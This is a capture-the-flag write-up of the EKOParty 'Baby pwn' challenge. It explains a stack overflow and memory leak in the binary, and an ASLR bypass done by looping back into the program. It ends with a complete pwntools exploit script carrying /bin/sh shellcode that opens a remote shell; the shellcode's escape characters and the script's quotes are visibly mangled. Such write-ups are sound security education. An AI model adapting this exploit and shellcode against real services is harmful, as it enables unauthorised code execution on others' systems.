After having played the EKOParty pre-CTF a few week backs, I decided to take a quick look at what the conference CTF finals looked like. Unlike the pre-CTF, the finals CTF only ran for a couple of days rather than a whole week. I thought I’d warm up a little on the Baby pwn 50pt pwnable challenge, but as you’ll see it gave me a little more trouble than it probably should have, that or I’m just more of a newb than I thought.

Opening the challenge binary up in IDA Pro reveals the three main functions that perform most of the logic in the program. The first function prints the welcome banner, reads in a 32bit unsigned integer from the socket, and ensures that it is less than 0x3ff.

The second function allocates a buffer of the user supplied length and reads that many bytes into the newly allocated buffer from the socket. It then calls the third function.

The last function performs a number of trivial checks on several of the leading bytes. If these checks pass, the function then copies 0x50 bytes from the input buffer onto the stack. It then proceeds to iterate through a loop that XORs each byte of the destination buffer with 0x158 and prints it. The original constraint for the loop is a variable that is set from the input buffer that must be less than the initial size set.

Looking closer at the 3rd function, it appears the memcpy from the input buffer to the stack will always cause a memory corruption so we merely have to construct the input packet to overwrite EIP at the right offset. Since we control the loop constraint, there is also a memory disclosure of up to 0x3ff bytes. After setting up a POC to pass the input checks, we get the following output from the binary. We make sure to XOR each output byte with 0x158  so we get the original value in memory.

3c3d3b373c3d3c6252414141414141200000004242424242424242424242424242424242421c000000
4242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242
420000000000000000583bbebf69880408800000004c3bbebf0c3cbebf583bbebf25e262b7903576b78b8804088000
00008088040800000000d83bbebf165e61b701000000043cbebf0c3cbebf583875b7219876b7fffffffff41f77b78c
83040801000000c03bbebf162c76b7c02a77b7483b75b7f49f74b70000000000000000d83bbebf80a366f791d5ab49
000000000000000000000000010000008085040800000000c08976b73b5d61b7f41f77b70100000080850408000000
00a18504081088040801000000043cbebf8088040870880408903576b7fc3bbebf082977b7010000007f4ebebf0000
0000864ebebf904ebebf984ebebfa84ebebfba4ebebfc74ebebfd84ebebfe34ebebf254fbebf344fbebf474fbebf57
4fbebf674fbebf7d4fbebf9a4fbebfaf4fbebfcc4fbebfe14fbebf0000000020000000004475b721000000004075b7
10000000fffb8b17060000000010000011000000640000000300000034800408040000002000000005000000080000
0007000000005075b7080000000000000009000000808504080b000000e80300000c000000e80300000d000000e803
00000e000000e8030000170000000000000019000000fb3cbebf1f000000f14fbebf0f0000000b3dbebf0000000000
0000000000001eb176483188c57f7f8f519a858f5b396936383600000

Running it a few more times, we see that the stack and library addresses change with each run. It appears the binary is running with ASLR enabled. We run our checksec script on our local copy to see what other protections may be compiled in. Luckily it appears ASLR is the only thing we have to bypass.

One important thing to note from our memory disclosure output, was we noticed that the value we supplied for the length of the memory disclosure appeared to be ignored. The program was leaking memory until we hit the page boundary, causing the program to crash before we return to our overwritten EIP. Taking a closer look, we realized this was happening because the loop constraint variable was also being overwritten by the memory corruption memcpy. Once we updated our POC, we were able to overwrite EIP and gain code execution.

At this point, I assumed that since this challenge was only 50 pts, all that remained was plugging in a simple /bin/sh shellcode after returning to some set of ROP gadgets that could jump to ESP. Unfortunately, I couldn’t track down a single ROP gadget I could use to get the current stack address. This was necessary since the target OS had ASLR enabled. I also had very little space to work with since the total memcpy was 0x50 bytes and some of that was for passing the input checks.

From here I felt like I must have been missing something easy and probably wasted a bunch of time. The only real option I saw was to try and jump back to my original heap input buffer since I had up to 0x3ff bytes I controlled there. I found the heap address on the stack, but it was below the current ESP and I couldn’t find a stack pivot to get me there. After much toiling, I thought of something that just might work. Since the binary leaks memory to you after you have the ability to use it, why not just jump back to the beginning of the program after receiving the memory leak, parse it, and send back the next input buffer with the correct stack address to jump to our shellcode.

I decided to choose the address of the fflush(stdout) call back in the first function to overwrite EIP since the calls to puts and putchar in our memory diclosure loop were not flushing the output back to our POC. After working out a couple kinks(like LEAVE instructions), it actually worked.

[sourcecode language=”python”]#EKO{welc0me_baby_pwning_CH4LL}
from pwn import *
import struct
import time
import binascii
import sys

#/bin/sh
buf = ""
buf += "x31xc0x89xc2x50x68x6ex2fx73x68x68x2fx2fx62x69x89"
buf += "xe3x89xc1xb0x0bx52x51x53x89xe1xcdx80";

if len (sys.argv) == 3:
(progname, host, port) = sys.argv
else:
print len (sys.argv)
print ‘Usage: {0} host port’.format (sys.argv[0])
exit (1)

max_len = 0x3ff
real_counter = 0x100

#Connect
conn = remote(host,port)

#Receive banner
print conn.recv()

#Send length
conn.sendline(str(max_len));

time.sleep(1)

#Send payload
payload = "x02"
payload += "x01"
payload += "x05"
payload += "x0a"
payload += "A"*6
payload += struct.pack("i", 10)
payload += "B"*14
payload += struct.pack("i", real_counter)
payload += "C"*12
payload += struct.pack(‘i’, 0x8048831) # EBP – Need readable address to handle LEAVE instruction
payload += struct.pack(‘i’, 0x8048831) # EIP – Address of fflush(stdout) in first function

#Send first packet
conn.send(payload)

#Receive memory disclosure
data = conn.recv()

#XOR the output to decode memory
dec_out = ”
for i in range(0, len(data)):
dec_out += chr((ord(data[i]) ^ 0x158) & 0xff )

#Pull a stack address out of the disclosure and calculate the address of the shellcode
addr_str = dec_out[97:101] addr = struct.unpack(‘I’, addr_str)[0] print hex(addr)

#Send next payload but with stack address as EIP
conn.sendline(str(max_len));
time.sleep(2)

payload = "x02"
payload += "x01"
payload += "x05"
payload += "x0a"
payload += "A"*6
payload += struct.pack("i", 10)
payload += "B"*14
payload += struct.pack("i", 1)
payload += "C"*12
payload += struct.pack(‘i’, 0x8048831) # EBP – Need readable address to handle LEAVE instruction
payload += struct.pack(‘I’, addr – 0x88) # EIP – Calculated stack address
payload += buf
payload += "D"*max_len #Junk, probably unnecessary

conn.send(payload)
conn.interactive()

#Send data
conn.close()[/sourcecode]